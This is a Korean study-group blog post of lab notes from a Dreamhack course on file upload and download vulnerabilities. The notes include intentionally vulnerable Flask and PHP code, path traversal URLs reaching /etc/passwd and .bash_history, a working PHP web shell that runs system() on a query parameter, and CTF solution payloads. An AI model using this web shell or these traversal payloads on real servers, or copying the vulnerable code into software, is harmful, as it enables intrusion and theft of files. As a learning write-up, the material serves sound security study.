ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [SISS/웹해킹 스터디] 2학기 9주차 스터디 - File Vulnerability
    24-2 SISS/웹해킹 2024. 11. 17. 14:20

    2학기 9주차 스터디 - File Vulnerability
    수강 인증 화면 캡쳐

    : 9주차 11/18 ~ 11/24 [드림핵] File Vulnerability

     

    File Vulnerability


    •  개요
      • 파일 공유 서비스
        • 데이터베이스보다 서버의 파일시스템에 저장하는 것이 개발 및 관리에 용이
        • 임의 파일 다운로드, 임의 코드 실행 등의 취약점 발생
          • 파일 업로드 취약점, 파일 다운로드 취약점

     

    • 파일 업로드 취약점 → 파일을 서버의 파일 시스템에 업로드할 때 발생하는 보안 취약점
      • 업로드할 파일의 이름을 임의로 정할 수 있을 경우 발생
      • 분류
        • Path Traversal
          • 임의의 디렉터리에 파일을 업로드하여 소스 코드나 중요 시스템 파일을 덮어 씀
            • 보통의 경우 보안을 위해 특정 디렉터리에만 업로드를 허용
          • ../filename 등
          # 업로드 기능에 Path Traversal 취약점이 있는 코드
          # f.filename을 검증 없이 그대로 사용
          
          from flask import Flask, request
          app = Flask(__name__)
          @app.route('/fileUpload', methods = ['GET', 'POST'])
          def upload_file():
          	if request.method == 'POST':
          		f = request.files['file']
          		f.save("./uploads/" + f.filename)
          		return 'Upload Success'
          	else:
          		return """
          		<form action="/fileUpload" method="POST" enctype="multipart/form-data">
          			<input type="file" name="file" />
          			<input type="submit"/>
          		</form>
          		"""
          if __name__ == '__main__':
          	app.run()
          

     

     

    •  악성 파일 업로드
      • 파일 업로드 시의 불충분한 검사로 인해 문제 발생
      • 웹 쉘
        • .php, .jsp, .asp 등의 파일을 CGI로 실행한 후 그 결과를 이용자에게 반환
          • CGI (Common Gateway Interface) → 동적인 컨텐트를 처리하기 위해 웹 서버와 외부 프로그램 사이에서 인터페이스를 제공하는 프로토콜
        • 아파치 설정 파일 → 정규표현식(".+\.ph(p[3457]?|t|tml)$)을 만족할 경우 x-httpd-php로 핸들링하게 함
          <FilesMatch ".+\\.ph(p[3457]?|t|tml)$">
              SetHandler application/x-httpd-php
          </FilesMatch>
          
        • 악의적인 웹 리소스 → 서버에 악의적인 스크립트를 삽입한 exploit.html을 업로드하고 접근 URL을 설정하면 HTML로 해석하여 XSS 공격으로 이어질 수 있음

     

    • 파일 다운로드 취약점 → 웹 서비스에서 서버의 파일 시스템의 파일을 다운로드할 때 발생하는 보안 취약점
      • 이용자가 다운로드 파일명을 임의로 정할 수 있을 경우 발생
      • 웹 서비스의 기본 설정은 특정 디렉터리 내의 파일에만 접근할 수 있도록 제한해야 함
      • 파일 다운로드 취약점이 자주 발생하는 URL 패턴
        • https://vulnerable-web.dreamhack.io/download/?filename=notes.txt
        • https://vulnerable-web.dreamhack.io/download/?filename=../../../../../../etc/passwd
        • https://vulnerable-web.dreamhack.io/images.php?fn=6ed0dd02806fa89e233b84f4.png

     

    • 실습
      • File Upload Vulnerability 실습
        • php
        • html
      • File Download Vulnerability 실습 → 상위 디렉터리로 이동하기 위해 앞에 한 개 이상의 ../을 추가
        • ../../../home/dreamhack/.bash_history

    File Upload Vulnerability 실습 - php
    File Upload Vulnerability 실습 - html
    File Download Vulnerability 실습

     

    퀴즈 - File Vulnerability


    퀴즈 - File Vulnerability

     

    실습 - file upload vulnerability


    • 목표
      • /flag.txt에 위치한 플래그 획득

     

    • 페이지
      • index.php
        • upload.php로 이동하는 메뉴 출력
      • list.php
        • $directory의 파일 중 ., .., index.html을 제외하고 나열
      • upload.php
        • 이용자가 업로드한 파일을 uploads 폴더에 복사
          • 파일에 대한 검사가 없어 웹 쉘 업로드 공격에 취약
          • 동명의 파일이 존재할 경우 “already exists”라는 메시지 반환
          • 이용자는 다음 URL을 통해 접근 → http://host1.dreamhack.games:[PORT]/uploads/[FILENAME]
    // index.php
    
    <li><a href="/">Home</a></li>
    <li><a href="/list.php">List</a></li>
    <li><a href="/upload.php">Upload</a></li>
    // list.php
    
    <?php
        $directory = './uploads/';
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?>
    // upload.php
    
    <?php
      if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (isset($_FILES)) {
          $directory = './uploads/';
          $file = $_FILES["file"];
          $error = $file["error"];
          $name = $file["name"];
          $tmp_name = $file["tmp_name"];
         
          if ( $error > 0 ) {
            echo "Error: " . $error . "<br>";
          }else {
            if (file_exists($directory . $name)) {
              echo $name . " already exists. ";
            }else {
              if(move_uploaded_file($tmp_name, $directory . $name)){
                echo "Stored in: " . $directory . $name;
              }
            }
          }
        }else {
            echo "Error !";
        }
        die();
      }
    ?>

     

    • 풀이 → 웹 쉘 업로드 후 방문
      • 웹 쉘
      • 입력
        • cat /flag.txt
    // 웹 쉘 (filename.php)
    
    <html>
        <body>
            <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
                <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
                <input type="SUBMIT" value="Execute">
            </form>
            
            <pre>
                <?php
                    if(isset($_GET['cmd']))
                    {
                        system($_GET['cmd']);
                    }
                ?>
            </pre>
        </body>
    </html>

    실습 - file upload vulnerability

     

    실습 - file download vulnerability


    • 목표
      • flag.py를 다운로드

     

    • 페이지
      • /upload
        • 업로드 파일을 검사 후 서버에 저장
          • .. 포함 여부 검사
      • /read
        • 요청 파일을 읽어 웹 페이지에 표시
          • 다운로드 파일에 대한 검사가 없으므로 파일 다운로드 공격에 취약
      # app.py (전체 코드)
      #!/usr/bin/env python3
      
      import os
      import shutil
      
      from flask import Flask, request, render_template, redirect
      
      from flag import FLAG
      
      APP = Flask(__name__)
      
      UPLOAD_DIR = 'uploads'
      
      @APP.route('/')
      def index():
          files = os.listdir(UPLOAD_DIR)
          return render_template('index.html', files=files)
      
      @APP.route('/upload', methods=['GET', 'POST'])
      def upload_memo():
          if request.method == 'POST':
              filename = request.form.get('filename')
              content = request.form.get('content').encode('utf-8')
      
              if filename.find('..') != -1:
                  return render_template('upload_result.html', data='bad characters,,')
      
              with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
                  f.write(content)
      
              return redirect('/')
      
          return render_template('upload.html')
      
      @APP.route('/read')
      def read_memo():
          error = False
          data = b''
      
          filename = request.args.get('name', '')
      
          try:
              with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
                  data = f.read()
          except (IsADirectoryError, FileNotFoundError):
              error = True
      
          return render_template('read.html',
                                 filename=filename,
                                 content=data.decode('utf-8'),
                                 error=error)
      
      if __name__ == '__main__':
          if os.path.exists(UPLOAD_DIR):
              shutil.rmtree(UPLOAD_DIR)
      
          os.mkdir(UPLOAD_DIR)
      
          APP.run(host='0.0.0.0', port=8000)
      

     

    •  풀이
      • /upload 페이지에서는 ..가 필터링되므로 상위 디렉터리 이동은 불가 → /read 페이지에서 .. 사용
      • URL+”/read?name=../flag.py”

    실습 - file download vulnerability

Designed by Tistory.